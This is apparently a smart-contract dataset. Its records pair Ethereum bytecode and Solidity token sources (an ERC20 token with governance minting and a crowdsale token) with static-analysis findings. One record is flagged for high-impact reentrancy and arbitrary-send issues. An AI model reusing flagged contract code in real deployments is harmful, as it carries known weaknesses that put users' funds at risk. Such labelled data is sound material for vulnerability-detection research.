fffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e794c3ed0a5423eade933899c37843cb1388a4ad587088758bd655eb6f4b29564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,038 |
0x8b3a49ce3d6561cf722119cd4da1f6b57e627c68
|
/**
*Submitted for verification at Etherscan.io on 2020-09-01
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e23, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract JonMorris is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("JonMorris", "JM", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e23);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
0x738b3a49ce3d6561cf722119cd4da1f6b57e627c6830146080604052600080fdfea265627a7a72315820aafc75b9a997fa8d3a237598f89fd10908e7bd3dc09feb859e56bb1cde649b9264736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 4,039 |
0x1f63781b2d2b3eb12239ba397874c6741fbcc75b
|
pragma solidity ^0.4.23;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 9000000*10**18;
uint256 public basePrice = 500*10**18; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 1000000*10**18;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
//ICO length will be 1.5 months
//Pre-ICO = 50% discount
//1st week ICO = 30% discount
//2nd week ICO = 20% discount
//3rd week ICO = 10% discount
//4th - 6th week ICO = 0% discount
if(now < 1541203200) //Pre-ICO before Nov. 3, 2018
basePrice = 750*10**18;
else if(now >= 1541203200 && now <= 1541851199) //Nov. 3 - Nov. 10, 2018
basePrice = 650*10**18;
else if(now > 1541851199 && now <= 1542455999) //Nov. 11 - Nov. 17, 2018
basePrice = 600*10**18;
else if(now > 1542455999 && now <= 1543060799) //Nov. 18 - Nov. 24, 2018
basePrice = 550*10**18;
else
basePrice = 500*10**18; //4th - 6th week
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed variables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title DBangkoToken
* @dev Contract to create the DBangko Token
**/
contract DBangkoToken is CrowdsaleToken {
string public constant name = "DBangko";
string public constant symbol = "DBK";
uint32 public constant decimals = 18;
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610429578063095ea7b3146104b357806318160ddd146104eb57806323b872dd14610512578063313ce5671461053c578063355274ea1461056a578063518ab2a81461057f578063661884631461059457806370a08231146105b857806389311e6f146105d95780638da5cb5b146105f0578063903a3ef61461062157806395d89b4114610636578063a9059cbb1461064b578063bf5839031461066f578063c7876ea414610684578063cbcb317114610699578063d73dd623146106ae578063dd62ed3e146106d2578063f2fde38b146106f9575b600080808080600160065474010000000000000000000000000000000000000000900460ff16600281111561014257fe5b1461014c57600080fd5b6000341161015957600080fd5b60055460001061016857600080fd5b349450635bdce500421015610189576828a857425466f80000600355610222565b635bdce50042101580156101a15750635be6c83f4211155b156101b85768233c8fe42703e80000600355610222565b635be6c83f421180156101cf5750635bf002bf4211155b156101e657682086ac351052600000600355610222565b635bf002bf421180156101fd5750635bf93d3f4211155b1561021457681dd0c885f9a0d80000600355610222565b681b1ae4d6e2ef5000006003555b61024f670de0b6b3a76400006102436003548861071a90919063ffffffff16565b9063ffffffff61074916565b9350600092506a0771d2fa45345aa90000006102768560045461075e90919063ffffffff16565b11156102e55760045461029b906a0771d2fa45345aa90000009063ffffffff61076b16565b91506102ca670de0b6b3a76400006102be6003548561074990919063ffffffff16565b9063ffffffff61071a16565b90506102dc858263ffffffff61076b16565b92508094508193505b6004546102f8908563ffffffff61075e16565b6004819055610319906a0771d2fa45345aa90000009063ffffffff61076b16565b600555600083111561037957604051339084156108fc029085906000818181858888f19350505050158015610352573d6000803e3d6000fd5b5060408051848152905133913091600080516020610ed48339815191529181900360200190a35b33600090815260208190526040902054610399908563ffffffff61075e16565b3360008181526020818152604091829020939093558051878152905191923092600080516020610ed48339815191529281900390910190a36001546103e4908563ffffffff61075e16565b600155600654604051600160a060020a039091169086156108fc029